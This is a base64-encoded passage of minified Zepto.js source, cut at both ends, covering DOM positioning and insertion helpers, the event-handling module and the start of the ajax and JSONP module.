b24oKXt0aGlzLnNjcm9sbFRvKGIsdGhpcy5zY3JvbGxZKX0pfSxwb3NpdGlvbjpmdW5jdGlvbigpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm47dmFyIGE9dGhpc1swXSxiPXRoaXMub2Zmc2V0UGFyZW50KCksZD10aGlzLm9mZnNldCgpLGU9by50ZXN0KGJbMF0ubm9kZU5hbWUpP3t0b3A6MCxsZWZ0OjB9OmIub2Zmc2V0KCk7cmV0dXJuIGQudG9wLT1wYXJzZUZsb2F0KGMoYSkuY3NzKCJtYXJnaW4tdG9wIikpfHwwLGQubGVmdC09cGFyc2VGbG9hdChjKGEpLmNzcygibWFyZ2luLWxlZnQiKSl8fDAsZS50b3ArPXBhcnNlRmxvYXQoYyhiWzBdKS5jc3MoImJvcmRlci10b3Atd2lkdGgiKSl8fDAsZS5sZWZ0Kz1wYXJzZUZsb2F0KGMoYlswXSkuY3NzKCJib3JkZXItbGVmdC13aWR0aCIpKXx8MCx7dG9wOmQudG9wLWUudG9wLGxlZnQ6ZC5sZWZ0LWUubGVmdH19LG9mZnNldFBhcmVudDpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3ZhciBhPXRoaXMub2Zmc2V0UGFyZW50fHxoLmJvZHk7d2hpbGUoYSYmIW8udGVzdChhLm5vZGVOYW1lKSYmYyhhKS5jc3MoInBvc2l0aW9uIik9PSJzdGF0aWMiKWE9YS5vZmZzZXRQYXJlbnQ7cmV0dXJuIGF9KX19LGMuZm4uZGV0YWNoPWMuZm4ucmVtb3ZlLFsid2lkdGgiLCJoZWlnaHQiXS5mb3JFYWNoKGZ1bmN0aW9uKGIpe3ZhciBkPWIucmVwbGFjZSgvLi8sZnVuY3Rpb24oYSl7cmV0dXJuIGFbMF0udG9VcHBlckNhc2UoKX0pO2MuZm5bYl09ZnVuY3Rpb24oZSl7dmFyIGYsZz10aGlzWzBdO3JldHVybiBlPT09YT9JKGcpP2dbImlubmVyIitkXTpKKGcpP2cuZG9jdW1lbnRFbGVtZW50WyJzY3JvbGwiK2RdOihmPXRoaXMub2Zmc2V0KCkpJiZmW2JdOnRoaXMuZWFjaChmdW5jdGlvbihhKXtnPWModGhpcyksZy5jc3MoYixYKHRoaXMsZSxhLGdbYl0oKSkpfSl9fSksci5mb3JFYWNoKGZ1bmN0aW9uKGEsYil7dmFyIGQ9YiUyO2MuZm5bYV09ZnVuY3Rpb24oKXt2YXIgYSxlPWMubWFwKGFyZ3VtZW50cyxmdW5jdGlvbihiKXtyZXR1cm4gYT1HKGIpLGE9PSJvYmplY3QifHxhPT0iYXJyYXkifHxiPT1udWxsP2I6Qi5mcmFnbWVudChiKX0pLGYsZz10aGlzLmxlbmd0aD4xO3JldHVybiBlLmxlbmd0aDwxP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKGEsaCl7Zj1kP2g6aC5wYXJlbnROb2RlLGg9Yj09MD9oLm5leHRTaWJsaW5nOmI9PTE/aC5maXJzdENoaWxkOmI9PTI/aDpudWxsLGUuZm9yRWFjaChmdW5jdGlvbihhKXtpZihnKWE9YS5jbG9uZU5vZGUoITApO2Vsc2UgaWYoIWYpcmV0dXJuIGMoYSkucmVtb3ZlKCk7XyhmLmluc2VydEJlZm9yZShhLGgpLGZ1bmN0aW9uKGEpe2Eubm9kZU5hbWUhPW51bGwmJmEubm9kZU5hbWUudG9VcHBlckNhc2UoKT09PSJTQ1JJUFQiJiYoIWEudHlwZXx8YS50eXBlPT09InRleHQvamF2YXNjcmlwdCIpJiYhYS5zcmMmJndpbmRvdy5ldmFsLmNhbGwod2luZG93LGEuaW5uZXJIVE1MKX0pfSl9KX0sYy5mbltkP2ErIlRvIjoiaW5zZXJ0IisoYj8iQmVmb3JlIjoiQWZ0ZXIiKV09ZnVuY3Rpb24oYil7cmV0dXJuIGMoYilbYV0odGhpcyksdGhpc319KSxCLloucHJvdG90eXBlPWMuZm4sQi51bmlxPUQsQi5kZXNlcmlhbGl6ZVZhbHVlPSQsYy56ZXB0bz1CLGN9KCk7d2luZG93LlplcHRvPVplcHRvLHdpbmRvdy4kPT09dW5kZWZpbmVkJiYod2luZG93LiQ9WmVwdG8pLGZ1bmN0aW9uKGEpe2Z1bmN0aW9uIG0oYSl7cmV0dXJuIGEuX3ppZHx8KGEuX3ppZD1jKyspfWZ1bmN0aW9uIG4oYSxiLGMsZCl7Yj1vKGIpO2lmKGIubnMpdmFyIGU9cChiLm5zKTtyZXR1cm4oaFttKGEpXXx8W10pLmZpbHRlcihmdW5jdGlvbihhKXtyZXR1cm4gYSYmKCFiLmV8fGEuZT09Yi5lKSYmKCFiLm5zfHxlLnRlc3QoYS5ucykpJiYoIWN8fG0oYS5mbik9PT1tKGMpKSYmKCFkfHxhLnNlbD09ZCl9KX1mdW5jdGlvbiBvKGEpe3ZhciBiPSgiIithKS5zcGxpdCgiLiIpO3JldHVybntlOmJbMF0sbnM6Yi5zbGljZSgxKS5zb3J0KCkuam9pbigiICIpfX1mdW5jdGlvbiBwKGEpe3JldHVybiBuZXcgUmVnRXhwKCIoPzpefCApIithLnJlcGxhY2UoIiAiLCIgLiogPyIpKyIoPzogfCQpIil9ZnVuY3Rpb24gcShhLGIpe3JldHVybiBhLmRlbCYmIWomJmEuZSBpbiBrfHwhIWJ9ZnVuY3Rpb24gcihhKXtyZXR1cm4gbFthXXx8aiYma1thXXx8YX1mdW5jdGlvbiBzKGIsYyxlLGYsZyxpLGope3ZhciBrPW0oYiksbj1oW2tdfHwoaFtrXT1bXSk7Yy5zcGxpdCgvXHMvKS5mb3JFYWNoKGZ1bmN0aW9uKGMpe2lmKGM9PSJyZWFkeSIpcmV0dXJuIGEoZG9jdW1lbnQpLnJlYWR5KGUpO3ZhciBoPW8oYyk7aC5mbj1lLGguc2VsPWcsaC5lIGluIGwmJihlPWZ1bmN0aW9uKGIpe3ZhciBjPWIucmVsYXRlZFRhcmdldDtpZighY3x8YyE9PXRoaXMmJiFhLmNvbnRhaW5zKHRoaXMsYykpcmV0dXJuIGguZm4uYXBwbHkodGhpcyxhcmd1bWVudHMpfSksaC5kZWw9aTt2YXIgaz1pfHxlO2gucHJveHk9ZnVuY3Rpb24oYSl7YT15KGEpO2lmKGEuaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQoKSlyZXR1cm47YS5kYXRhPWY7dmFyIGM9ay5hcHBseShiLGEuX2FyZ3M9PWQ/W2FdOlthXS5jb25jYXQoYS5fYXJncykpO3JldHVybiBjPT09ITEmJihhLnByZXZlbnREZWZhdWx0KCksYS5zdG9wUHJvcGFnYXRpb24oKSksY30saC5pPW4ubGVuZ3RoLG4ucHVzaChoKSwiYWRkRXZlbnRMaXN0ZW5lciJpbiBiJiZiLmFkZEV2ZW50TGlzdGVuZXIocihoLmUpLGgucHJveHkscShoLGopKX0pfWZ1bmN0aW9uIHQoYSxiLGMsZCxlKXt2YXIgZj1tKGEpOyhifHwiIikuc3BsaXQoL1xzLykuZm9yRWFjaChmdW5jdGlvbihiKXtuKGEsYixjLGQpLmZvckVhY2goZnVuY3Rpb24oYil7ZGVsZXRlIGhbZl1bYi5pXSwicmVtb3ZlRXZlbnRMaXN0ZW5lciJpbiBhJiZhLnJlbW92ZUV2ZW50TGlzdGVuZXIocihiLmUpLGIucHJveHkscShiLGUpKX0pfSl9ZnVuY3Rpb24geShiLGMpe2lmKGN8fCFiLmlzRGVmYXVsdFByZXZlbnRlZCl7Y3x8KGM9YiksYS5lYWNoKHgsZnVuY3Rpb24oYSxkKXt2YXIgZT1jW2FdO2JbYV09ZnVuY3Rpb24oKXtyZXR1cm4gdGhpc1tkXT11LGUmJmUuYXBwbHkoYyxhcmd1bWVudHMpfSxiW2RdPXZ9KTtpZihjLmRlZmF1bHRQcmV2ZW50ZWQhPT1kP2MuZGVmYXVsdFByZXZlbnRlZDoicmV0dXJuVmFsdWUiaW4gYz9jLnJldHVyblZhbHVlPT09ITE6Yy5nZXRQcmV2ZW50RGVmYXVsdCYmYy5nZXRQcmV2ZW50RGVmYXVsdCgpKWIuaXNEZWZhdWx0UHJldmVudGVkPXV9cmV0dXJuIGJ9ZnVuY3Rpb24geihhKXt2YXIgYixjPXtvcmlnaW5hbEV2ZW50OmF9O2ZvcihiIGluIGEpIXcudGVzdChiKSYmYVtiXSE9PWQmJihjW2JdPWFbYl0pO3JldHVybiB5KGMsYSl9dmFyIGI9YS56ZXB0by5xc2EsYz0xLGQsZT1BcnJheS5wcm90b3R5cGUuc2xpY2UsZj1hLmlzRnVuY3Rpb24sZz1mdW5jdGlvbihhKXtyZXR1cm4gdHlwZW9mIGE9PSJzdHJpbmcifSxoPXt9LGk9e30saj0ib25mb2N1c2luImluIHdpbmRvdyxrPXtmb2N1czoiZm9jdXNpbiIsYmx1cjoiZm9jdXNvdXQifSxsPXttb3VzZWVudGVyOiJtb3VzZW92ZXIiLG1vdXNlbGVhdmU6Im1vdXNlb3V0In07aS5jbGljaz1pLm1vdXNlZG93bj1pLm1vdXNldXA9aS5tb3VzZW1vdmU9Ik1vdXNlRXZlbnRzIixhLmV2ZW50PXthZGQ6cyxyZW1vdmU6dH0sYS5wcm94eT1mdW5jdGlvbihiLGMpe2lmKGYoYikpe3ZhciBkPWZ1bmN0aW9uKCl7cmV0dXJuIGIuYXBwbHkoYyxhcmd1bWVudHMpfTtyZXR1cm4gZC5femlkPW0oYiksZH1pZihnKGMpKXJldHVybiBhLnByb3h5KGJbY10sYik7dGhyb3cgbmV3IFR5cGVFcnJvcigiZXhwZWN0ZWQgZnVuY3Rpb24iKX0sYS5mbi5iaW5kPWZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gdGhpcy5vbihhLGIsYyl9LGEuZm4udW5iaW5kPWZ1bmN0aW9uKGEsYil7cmV0dXJuIHRoaXMub2ZmKGEsYil9LGEuZm4ub25lPWZ1bmN0aW9uKGEsYixjLGQpe3JldHVybiB0aGlzLm9uKGEsYixjLGQsMSl9O3ZhciB1PWZ1bmN0aW9uKCl7cmV0dXJuITB9LHY9ZnVuY3Rpb24oKXtyZXR1cm4hMX0sdz0vXihbQS1aXXxyZXR1cm5WYWx1ZSR8bGF5ZXJbWFldJCkvLHg9e3ByZXZlbnREZWZhdWx0OiJpc0RlZmF1bHRQcmV2ZW50ZWQiLHN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbjoiaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQiLHN0b3BQcm9wYWdhdGlvbjoiaXNQcm9wYWdhdGlvblN0b3BwZWQifTthLmZuLmRlbGVnYXRlPWZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gdGhpcy5vbihiLGEsYyl9LGEuZm4udW5kZWxlZ2F0ZT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub2ZmKGIsYSxjKX0sYS5mbi5saXZlPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGEoZG9jdW1lbnQuYm9keSkuZGVsZWdhdGUodGhpcy5zZWxlY3RvcixiLGMpLHRoaXN9LGEuZm4uZGllPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGEoZG9jdW1lbnQuYm9keSkudW5kZWxlZ2F0ZSh0aGlzLnNlbGVjdG9yLGIsYyksdGhpc30sYS5mbi5vbj1mdW5jdGlvbihiLGMsaCxpLGope3ZhciBrLGwsbT10aGlzO2lmKGImJiFnKGIpKXJldHVybiBhLmVhY2goYixmdW5jdGlvbihhLGIpe20ub24oYSxjLGgsYixqKX0pLG07IWcoYykmJiFmKGkpJiZpIT09ITEmJihpPWgsaD1jLGM9ZCk7aWYoZihoKXx8aD09PSExKWk9aCxoPWQ7cmV0dXJuIGk9PT0hMSYmKGk9diksbS5lYWNoKGZ1bmN0aW9uKGQsZil7aiYmKGs9ZnVuY3Rpb24oYSl7cmV0dXJuIHQoZixhLnR5cGUsaSksaS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9KSxjJiYobD1mdW5jdGlvbihiKXt2YXIgZCxnPWEoYi50YXJnZXQpLmNsb3Nlc3QoYyxmKS5nZXQoMCk7aWYoZyYmZyE9PWYpcmV0dXJuIGQ9YS5leHRlbmQoeihiKSx7Y3VycmVudFRhcmdldDpnLGxpdmVGaXJlZDpmfSksKGt8fGkpLmFwcGx5KGcsW2RdLmNvbmNhdChlLmNhbGwoYXJndW1lbnRzLDEpKSl9KSxzKGYsYixpLGgsYyxsfHxrKX0pfSxhLmZuLm9mZj1mdW5jdGlvbihiLGMsZSl7dmFyIGg9dGhpcztyZXR1cm4gYiYmIWcoYik/KGEuZWFjaChiLGZ1bmN0aW9uKGEsYil7aC5vZmYoYSxjLGIpfSksaCk6KCFnKGMpJiYhZihlKSYmZSE9PSExJiYoZT1jLGM9ZCksZT09PSExJiYoZT12KSxoLmVhY2goZnVuY3Rpb24oKXt0KHRoaXMsYixlLGMpfSkpfSxhLmZuLnRyaWdnZXI9ZnVuY3Rpb24oYixjKXtyZXR1cm4gYj1nKGIpfHxhLmlzUGxhaW5PYmplY3QoYik/YS5FdmVudChiKTp5KGIpLGIuX2FyZ3M9Yyx0aGlzLmVhY2goZnVuY3Rpb24oKXsiZGlzcGF0Y2hFdmVudCJpbiB0aGlzP3RoaXMuZGlzcGF0Y2hFdmVudChiKTphKHRoaXMpLnRyaWdnZXJIYW5kbGVyKGIsYyl9KX0sYS5mbi50cmlnZ2VySGFuZGxlcj1mdW5jdGlvbihiLGMpe3ZhciBkLGU7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihmLGgpe2Q9eihnKGIpP2EuRXZlbnQoYik6YiksZC5fYXJncz1jLGQudGFyZ2V0PWgsYS5lYWNoKG4oaCxiLnR5cGV8fGIpLGZ1bmN0aW9uKGEsYil7ZT1iLnByb3h5KGQpO2lmKGQuaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQoKSlyZXR1cm4hMX0pfSksZX0sImZvY3VzaW4gZm9jdXNvdXQgbG9hZCByZXNpemUgc2Nyb2xsIHVubG9hZCBjbGljayBkYmxjbGljayBtb3VzZWRvd24gbW91c2V1cCBtb3VzZW1vdmUgbW91c2VvdmVyIG1vdXNlb3V0IG1vdXNlZW50ZXIgbW91c2VsZWF2ZSBjaGFuZ2Ugc2VsZWN0IGtleWRvd24ga2V5cHJlc3Mga2V5dXAgZXJyb3IiLnNwbGl0KCIgIikuZm9yRWFjaChmdW5jdGlvbihiKXthLmZuW2JdPWZ1bmN0aW9uKGEpe3JldHVybiBhP3RoaXMuYmluZChiLGEpOnRoaXMudHJpZ2dlcihiKX19KSxbImZvY3VzIiwiYmx1ciJdLmZvckVhY2goZnVuY3Rpb24oYil7YS5mbltiXT1mdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmJpbmQoYixhKTp0aGlzLmVhY2goZnVuY3Rpb24oKXt0cnl7dGhpc1tiXSgpfWNhdGNoKGEpe319KSx0aGlzfX0pLGEuRXZlbnQ9ZnVuY3Rpb24oYSxiKXtnKGEpfHwoYj1hLGE9Yi50eXBlKTt2YXIgYz1kb2N1bWVudC5jcmVhdGVFdmVudChpW2FdfHwiRXZlbnRzIiksZD0hMDtpZihiKWZvcih2YXIgZSBpbiBiKWU9PSJidWJibGVzIj9kPSEhYltlXTpjW2VdPWJbZV07cmV0dXJuIGMuaW5pdEV2ZW50KGEsZCwhMCkseShjKX19KFplcHRvKSxmdW5jdGlvbigkKXtmdW5jdGlvbiB0cmlnZ2VyQW5kUmV0dXJuKGEsYixjKXt2YXIgZD0kLkV2ZW50KGIpO3JldHVybiAkKGEpLnRyaWdnZXIoZCxjKSwhZC5pc0RlZmF1bHRQcmV2ZW50ZWQoKX1mdW5jdGlvbiB0cmlnZ2VyR2xvYmFsKGEsYixjLGQpe2lmKGEuZ2xvYmFsKXJldHVybiB0cmlnZ2VyQW5kUmV0dXJuKGJ8fGRvY3VtZW50LGMsZCl9ZnVuY3Rpb24gYWpheFN0YXJ0KGEpe2EuZ2xvYmFsJiYkLmFjdGl2ZSsrPT09MCYmdHJpZ2dlckdsb2JhbChhLG51bGwsImFqYXhTdGFydCIpfWZ1bmN0aW9uIGFqYXhTdG9wKGEpe2EuZ2xvYmFsJiYhLS0kLmFjdGl2ZSYmdHJpZ2dlckdsb2JhbChhLG51bGwsImFqYXhTdG9wIil9ZnVuY3Rpb24gYWpheEJlZm9yZVNlbmQoYSxiKXt2YXIgYz1iLmNvbnRleHQ7aWYoYi5iZWZvcmVTZW5kLmNhbGwoYyxhLGIpPT09ITF8fHRyaWdnZXJHbG9iYWwoYixjLCJhamF4QmVmb3JlU2VuZCIsW2EsYl0pPT09ITEpcmV0dXJuITE7dHJpZ2dlckdsb2JhbChiLGMsImFqYXhTZW5kIixbYSxiXSl9ZnVuY3Rpb24gYWpheFN1Y2Nlc3MoYSxiLGMsZCl7dmFyIGU9Yy5jb250ZXh0LGY9InN1Y2Nlc3MiO2Muc3VjY2Vzcy5jYWxsKGUsYSxmLGIpLGQmJmQucmVzb2x2ZVdpdGgoZSxbYSxmLGJdKSx0cmlnZ2VyR2xvYmFsKGMsZSwiYWpheFN1Y2Nlc3MiLFtiLGMsYV0pLGFqYXhDb21wbGV0ZShmLGIsYyl9ZnVuY3Rpb24gYWpheEVycm9yKGEsYixjLGQsZSl7dmFyIGY9ZC5jb250ZXh0O2QuZXJyb3IuY2FsbChmLGMsYixhKSxlJiZlLnJlamVjdFdpdGgoZixbYyxiLGFdKSx0cmlnZ2VyR2xvYmFsKGQsZiwiYWpheEVycm9yIixbYyxkLGF8fGJdKSxhamF4Q29tcGxldGUoYixjLGQpfWZ1bmN0aW9uIGFqYXhDb21wbGV0ZShhLGIsYyl7dmFyIGQ9Yy5jb250ZXh0O2MuY29tcGxldGUuY2FsbChkLGIsYSksdHJpZ2dlckdsb2JhbChjLGQsImFqYXhDb21wbGV0ZSIsW2IsY10pLGFqYXhTdG9wKGMpfWZ1bmN0aW9uIGVtcHR5KCl7fWZ1bmN0aW9uIG1pbWVUb0RhdGFUeXBlKGEpe3JldHVybiBhJiYoYT1hLnNwbGl0KCI7IiwyKVswXSksYSYmKGE9PWh0bWxUeXBlPyJodG1sIjphPT1qc29uVHlwZT8ianNvbiI6c2NyaXB0VHlwZVJFLnRlc3QoYSk/InNjcmlwdCI6eG1sVHlwZVJFLnRlc3QoYSkmJiJ4bWwiKXx8InRleHQifWZ1bmN0aW9uIGFwcGVuZFF1ZXJ5KGEsYil7cmV0dXJuIGI9PSIiP2E6KGErIiYiK2IpLnJlcGxhY2UoL1smP117MSwyfS8sIj8iKX1mdW5jdGlvbiBzZXJpYWxpemVEYXRhKGEpe2EucHJvY2Vzc0RhdGEmJmEuZGF0YSYmJC50eXBlKGEuZGF0YSkhPSJzdHJpbmciJiYoYS5kYXRhPSQucGFyYW0oYS5kYXRhLGEudHJhZGl0aW9uYWwpKSxhLmRhdGEmJighYS50eXBlfHxhLnR5cGUudG9VcHBlckNhc2UoKT09IkdFVCIpJiYoYS51cmw9YXBwZW5kUXVlcnkoYS51cmwsYS5kYXRhKSxhLmRhdGE9dW5kZWZpbmVkKX1mdW5jdGlvbiBwYXJzZUFyZ3VtZW50cyhhLGIsYyxkKXt2YXIgZT0hJC5pc0Z1bmN0aW9uKGIpO3JldHVybnt1cmw6YSxkYXRhOmU/Yjp1bmRlZmluZWQsc3VjY2VzczplPyQuaXNGdW5jdGlvbihjKT9jOnVuZGVmaW5lZDpiLGRhdGFUeXBlOmU/ZHx8YzpjfX1mdW5jdGlvbiBzZXJpYWxpemUoYSxiLGMsZCl7dmFyIGUsZj0kLmlzQXJyYXkoYiksZz0kLmlzUGxhaW5PYmplY3QoYik7JC5lYWNoKGIsZnVuY3Rpb24oYixoKXtlPSQudHlwZShoKSxkJiYoYj1jP2Q6ZCsiWyIrKGd8fGU9PSJvYmplY3QifHxlPT0iYXJyYXkiP2I6IiIpKyJdIiksIWQmJmY/YS5hZGQoaC5uYW1lLGgudmFsdWUpOmU9PSJhcnJheSJ8fCFjJiZlPT0ib2JqZWN0Ij9zZXJpYWxpemUoYSxoLGMsYik6YS5hZGQoYixoKX0pfXZhciBqc29ucElEPTAsZG9jdW1lbnQ9d2luZG93LmRvY3VtZW50LGtleSxuYW1lLHJzY3JpcHQ9LzxzY3JpcHRcYltePF0qKD86KD8hPFwvc2NyaXB0Pik8W148XSopKjxcL3NjcmlwdD4vZ2ksc2NyaXB0VHlwZVJFPS9eKD86dGV4dHxhcHBsaWNhdGlvbilcL2phdmFzY3JpcHQvaSx4bWxUeXBlUkU9L14oPzp0ZXh0fGFwcGxpY2F0aW9uKVwveG1sL2ksanNvblR5cGU9ImFwcGxpY2F0aW9uL2pzb24iLGh0bWxUeXBlPSJ0ZXh0L2h0bWwiLGJsYW5rUkU9L15ccyokLzskLmFjdGl2ZT0wLCQuYWpheEpTT05QPWZ1bmN0aW9uKGEsYil7aWYoInR5cGUiaW4gYSl7dmFyIGM9YS5qc29ucENhbGxiYWNrLGQ9KCQuaXNGdW5jdGlvbihjKT9jKCk6Yyl8fCJqc29ucCIrICsranNvbnBJRCxlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGY9d2luZG93W2RdLGcsaD1mdW5jdGlvbihhKXskKGUpLnRyaWdnZXJIYW5kbGVyKCJlcnJvciIsYXx8ImFib3J0Iil9LGk9e2Fib3J0Omh9LGo7cmV0dXJuIGImJmIucHJvbWlzZShpKSwkKGUpLm9uKCJsb2FkIGVycm9yIixmdW5jdGlvbihjLGgpe2NsZWFyVGltZW91dChqKSwkKGUpLm9mZigpLnJlbW92ZSgpLGMudHlwZT09ImVycm9yInx8IWc/YWpheEVycm9yKG51bGwsaHx8ImVycm9yIixpLGEsYik6YWpheFN1Y2Nlc3MoZ1swXSxpLGEsYiksd2luZG93W2RdPWYsZyYmJC5pc0Z1bmN0aW9uKGYpJiZmKGdbMF0pLGY9Zz11bmRlZmluZWR9KSxhamF4QmVmb3JlU2VuZChpLGEpPT09ITE/KGgoImFib3J0IiksaSk6KHdpbmRvd1tkXT1mdW5jdGlvbigpe2c9YXJndW1lbnRzfSxlLnNyYz1hLnVybC5yZXBsYWNlKC89XD8vLCI9IitkKSxkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGUpLGEudGltZW91dD4wJiYoaj1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7aCgidGltZW91dCIpfSxhLnRpbWVvdXQpKSxpKX1yZXR1cm4gJC5hamF4KGEpfSwkLmFqYXhTZXR0aW5ncz17dHlwZToiR0VUIixiZWZvcmVTZW5kOmVtcHR5LHN1Y2Nlc3M6ZW1wdHksZXJyb3I6ZW1wdHksY29tcGxldGU6ZW1wdHksY29udGV4dDpudWxsLGdsb2JhbDohMCx4aHI6ZnVuY3Rpb24oKXtyZXR1cm4gbmV3IHdpbmRvdy5YTUxIdHRwUmVxdWVzdH0sYWNjZXB0czp7c2NyaXB0OiJ0ZXh0L2phdmFzY3JpcHQsIGFwcGxpY2F0aW9uL2phdmFzY3JpcHQsIGFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIsanNvbjpqc29uVHlwZSx4bWw6ImFwcGxpY2F0aW9uL3htbCwgdGV4dC94bWwiLGh0bWw6aHRtbFR5cGUsdGV4dDoidGV4dC9wbGFpbiJ9LGNyb3NzRG9tYWluOiExLHRpbWVvdXQ6MCxwcm9jZXNzRGF0YTohMCxjYWNoZTohMH0sJC5hamF4PWZ1bmN0aW9uKG9wdGlvbnMpe3ZhciBzZXR0aW5ncz0kLmV4dGVuZCh7fSxvcHRpb25zfHx7fSksZGVmZXJyZWQ9JC5EZWZlcnJlZCYmJC5EZWZlcnJlZCgpO2ZvcihrZXkgaW4gJC5hamF4U2V0dGluZ3Mpc2V0dGluZ3Nba2V5XT09PXVuZGVmaW5lZCYmKHNldHRpbmdzW2tleV09JC5hamF4U2V0dGluZ3Nba2V5XSk7YWpheFN0YXJ0KHNldHRpbmdzKSxzZXR0aW5ncy5jcm9zc0RvbWFpbnx8KHNldHRpbmdzLmNyb3NzRG9tYWluPS9eKFtcdy1dKzopP1wvXC8oW15cL10rKS8udGVzdChzZXR0aW5ncy51cmwpJiZSZWdFeHAuJDIhPXdpbmRvdy5sb2NhdGlvbi5ob3N0KSxzZXR0aW5ncy51cmx8fChzZXR0aW5ncy51cmw9d2luZG93LmxvY2F0aW9uLnRvU3RyaW5nKCkpLHNlcmlhbGl6ZURhdGEoc2V0dGluZ3MpLHNldHRpbmdzLmNhY2hlPT09ITEmJihzZXR0aW5ncy51cmw9YXBwZW5kUXVlcnkoc2V0dGluZ3MudXJsLCJfPSIrRGF0ZS5ub3coKSkpO3ZhciBkYXRhVHlwZT1zZXR0aW5ncy5kYXRhVHlwZSxoYXNQbGFjZWhvbGRlcj0vPVw/Ly50ZXN0KHNldHRpbmdzLnVybCk7aWYoZGF0YVR5cGU9PSJqc29ucCJ8fGhhc1BsYWNlaG9sZGVyKXJldHVybiBoYXNQbGFjZWhvbGRlcnx8KHNldHRpbmdzLnVybD1hcHBlbmRRdWVyeShzZXR0aW5ncy51cmwsc2V0dGluZ3MuanNvbnA/c2V0dGluZ3MuanNvbnArIj0/IjpzZXR0aW5ncy5qc29ucD09PSExPyIiOiJjYWxsYmFjaz0/IikpLCQuYWpheEpTT05QKHNldHRpbmdzLGRlZmVycmVkKTt2YXIgbWltZT1zZXR0aW5ncy5hY2NlcHRzW2RhdGFUeXBlXSxoZWFkZXJzPXt9LHNldEhlYWRlcj1mdW5jdGlvbihhLGIpe2hlYWRlcnNbYS50b0xvd2VyQ2FzZSgpXT1bYSxiXX0scHJvdG9jb2w9L14oW1x3LV0rOilcL1wvLy50ZXN0KHNldHRpbmdzLnVybCk/UmVnRXhwLiQxOndpbmRvdy5sb2NhdGlvbi5wcm90b2NvbCx4aHI9c2V0dGluZ3MueGhyKCksbmF0aXZlU2V0SGVhZGVyPXhoci5zZXRSZXF1ZXN0SGVhZGVyLGFib3J0VGltZW91dDtkZWZlcnJlZCYmZGVmZXJyZWQucHJvbWlzZSh4aHIpLHNldHRpbmdzLmNyb3NzRG9tYWlufHxzZXRIZWFkZXIoIlgtUmVxdWVzdGVkLVdpdGgiLCJYTUxIdHRwUmVxdWVzdCIpLHNldEhlYWRlcigiQWNjZXB0IixtaW1lfHwiKi8qIik7aWYobWltZT1zZXR0aW5ncy5taW1lVHlwZXx8bWltZSltaW1lLmluZGV4T2YoIiwiKT4tMSYmKG1pbWU9bWltZS5zcGxpdCgiLCIsMilbMF0pLHhoci5vdmVycmlkZU1pbWVUeXBlJiZ4aHIub3ZlcnJpZGVNaW1lVHlwZShtaW1lKTsoc2V0dGluZ3MuY29udGVudFR5cGV8fHNldHRpbmdzLmNvbnRlbnRUeXBlIT09ITEmJnNldHRpbmdzLmRhdGEmJnNldHRpbmdzLnR5cGUudG9VcHBlckNhc2UoKSE9IkdFVCIpJiZzZXRIZWFkZXIoIkNvbnRlbnQtVHlwZSIsc2V0dGluZ3MuY29udGVudFR5cGV8fCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTtpZihzZXR0aW5ncy5oZWFkZXJzKWZvcihuYW1lIGluIHNldHRpbmdzLmhlYWRlcnMpc2V0SGVhZGVyKG5hbWUsc2V0dGluZ3MuaGVhZGVyc1tuYW1lXSk7eGhyLnNldFJlcXVlc3RIZWFkZXI9c2V0SGVhZGVyLHhoci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZih4aHIucmVhZHlTdGF0ZT09NCl7eGhyLm9ucmVhZHlzdGF0ZWNoYW5nZT1lbXB0eSxjbGVhclRpbWVvdXQoYWJvcnRUaW1lb3V0KTt2YXIgcmVzdWx0LGVycm9yPSExO2lmKHhoci5zdGF0dXM+PTIwMCYmeGhyLnN0YXR1czwzMDB8fHhoci5zdGF0dXM9PTMwNHx8eGhyLnN0YXR1cz09MCYmcHJvdG9jb2w9PSJmaWxlOiIpe2RhdGFUeXBlPWRhdGFUeXBlfHxtaW1lVG9EYXRhVHlwZShzZXR0aW5ncy5taW1lVHlwZXx8eGhyLmdldFJlc3BvbnNlSGVhZGVyKCJjb250ZW50LXR5cGUiKSkscmVzdWx0PXhoci5yZXNwb25zZVRleHQ7dHJ5e2RhdGFUeXBlPT0ic2NyaXB0Ij8oMSxldmFsKShyZXN1bHQpOmRhdGFUeXBlPT0ieG1sIj9yZXN1bHQ9eGhyLnJlc3BvbnNlWE1MOmRhdGFUeXBlPT0ianNvbiImJihyZXN1bHQ9YmxhbmtSRS50ZXN0KHJlc3VsdCk/bnVsbDokLnBhcnNlSlNPTihyZXN1bHQpKX1jYXRjaChlKXtlcnJvcj1lfWVycm9yP2FqYXhFcnJvcihlcnJvciwicGFyc2VyZXJyb3IiLHhocixzZXR0aW5ncyxkZWZlcnJlZCk6YWpheFN1Y2Nlc3MocmVzdWx0LHhocixzZXR0aW5ncyxkZWZlcnJlZCl9ZWxzZSBhamF4RXJyb3IoeGhyLnN0YXR1c1RleHR8fG51bGwseGhyLnN0YXR1cz8iZXJyb3IiOiJhYm9ydCIseGhyLHNldHRpbmdzLGRlZmVycmVkKX19O2lmKGFqYXhCZWZvcmVTZW5kKHhocixzZXR0aW5ncyk9PT0hMSlyZXR1cm4geGhyLmFib3J0KCksYWpheEVycm9yKG51bGwsImFib3J0Iix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpLHhocjtpZihzZXR0aW5ncy54aHJGaWVsZHMpZm9yKG5hbWUgaW4gc2V0dGluZ3MueGhyRmllbGRzKXhocltuYW1lXT1zZXR0aW5ncy54aHJGaWVsZHNbbmFtZV07dmFyIGFze